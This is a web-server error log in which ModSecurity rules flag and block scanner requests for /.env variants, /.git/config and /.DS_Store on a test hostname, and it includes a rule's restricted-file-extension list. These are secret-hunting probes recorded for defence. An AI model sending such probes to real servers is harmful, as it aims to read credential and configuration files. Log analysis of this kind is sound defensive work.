[Fri Oct 24 15:12:56.498726 2025] [:error] [pid 3728426] [client 209.38.248.17:56892] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPt7WCWJ1CPdovV5xzXIwgAAAA0"]
[Fri Oct 24 15:12:56.498906 2025] [:error] [pid 3728426] [client 209.38.248.17:56892] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPt7WCWJ1CPdovV5xzXIwgAAAA0"]
[Fri Oct 24 15:12:57.069411 2025] [:error] [pid 3730598] [client 209.38.248.17:56904] [client 209.38.248.17] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPt7WVsPW3WaR1ugPv3K9AAAAAU"]
[Fri Oct 24 15:12:57.069678 2025] [:error] [pid 3730598] [client 209.38.248.17:56904] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPt7WVsPW3WaR1ugPv3K9AAAAAU"]
[Fri Oct 24 15:12:57.069861 2025] [:error] [pid 3730598] [client 209.38.248.17:56904] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPt7WVsPW3WaR1ugPv3K9AAAAAU"]
[Fri Oct 24 15:32:49.555432 2025] [authz_core:error] [pid 3728424] [client 188.166.108.93:51544] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Oct 24 15:32:49.950582 2025] [:error] [pid 3730840] [client 188.166.108.93:51566] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPuAAVaI7LYEluAqgcmd1AAAAAA"]
[Fri Oct 24 15:32:49.950833 2025] [:error] [pid 3730840] [client 188.166.108.93:51566] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPuAAVaI7LYEluAqgcmd1AAAAAA"]
[Fri Oct 24 15:32:49.951075 2025] [:error] [pid 3730840] [client 188.166.108.93:51566] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPuAAVaI7LYEluAqgcmd1AAAAAA"]
[Fri Oct 24 15:32:50.049927 2025] [:error] [pid 3730598] [client 188.166.108.93:51568] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPuAAlsPW3WaR1ugPv3K-wAAAAU"]
[Fri Oct 24 15:32:50.050129 2025] [:error] [pid 3730598] [client 188.166.108.93:51568] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPuAAlsPW3WaR1ugPv3K-wAAAAU"]
[Fri Oct 24 15:32:50.050299 2025] [:error] [pid 3730598] [client 188.166.108.93:51568] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPuAAlsPW3WaR1ugPv3K-wAAAAU"]
[Fri Oct 24 15:32:50.161658 2025] [:error] [pid 3730840] [client 188.166.108.93:51572] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPuAAlaI7LYEluAqgcmd1QAAAAA"]
[Fri Oct 24 15:32:50.161989 2025] [:error] [pid 3730840] [client 188.166.108.93:51572] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPuAAlaI7LYEluAqgcmd1QAAAAA"]
[Fri Oct 24 15:32:50.162159 2025] [:error] [pid 3730840] [client 188.166.108.93:51572] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPuAAlaI7LYEluAqgcmd1QAAAAA"]
[Sun Oct 26 01:23:56.850859 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP1cDNPNphQKiiMCb4eQUAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:56.851112 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP1cDNPNphQKiiMCb4eQUAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:56.851269 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP1cDNPNphQKiiMCb4eQUAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:57.456052 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aP1cDdPNphQKiiMCb4eQUQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:57.456345 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aP1cDdPNphQKiiMCb4eQUQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:57.457083 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aP1cDdPNphQKiiMCb4eQUQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:58.064892 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aP1cDtPNphQKiiMCb4eQUgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:58.065159 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aP1cDtPNphQKiiMCb4eQUgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:58.065336 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aP1cDtPNphQKiiMCb4eQUgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:58.671723 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aP1cDtPNphQKiiMCb4eQUwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:58.672007 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aP1cDtPNphQKiiMCb4eQUwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:58.672276 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aP1cDtPNphQKiiMCb4eQUwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:59.277485 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aP1cD9PNphQKiiMCb4eQVAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:59.277773 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aP1cD9PNphQKiiMCb4eQVAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:59.277980 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aP1cD9PNphQKiiMCb4eQVAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:59.883422 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aP1cD9PNphQKiiMCb4eQVQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:59.883731 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aP1cD9PNphQKiiMCb4eQVQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:23:59.883961 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aP1cD9PNphQKiiMCb4eQVQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:00.488859 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aP1cENPNphQKiiMCb4eQVgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:00.489120 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aP1cENPNphQKiiMCb4eQVgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:00.489323 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aP1cENPNphQKiiMCb4eQVgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:01.094206 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aP1cEdPNphQKiiMCb4eQVwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:01.094501 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aP1cEdPNphQKiiMCb4eQVwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:01.094708 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aP1cEdPNphQKiiMCb4eQVwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:01.717987 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cEdPNphQKiiMCb4eQWAAAAAA"], referer: https://www.google.com/
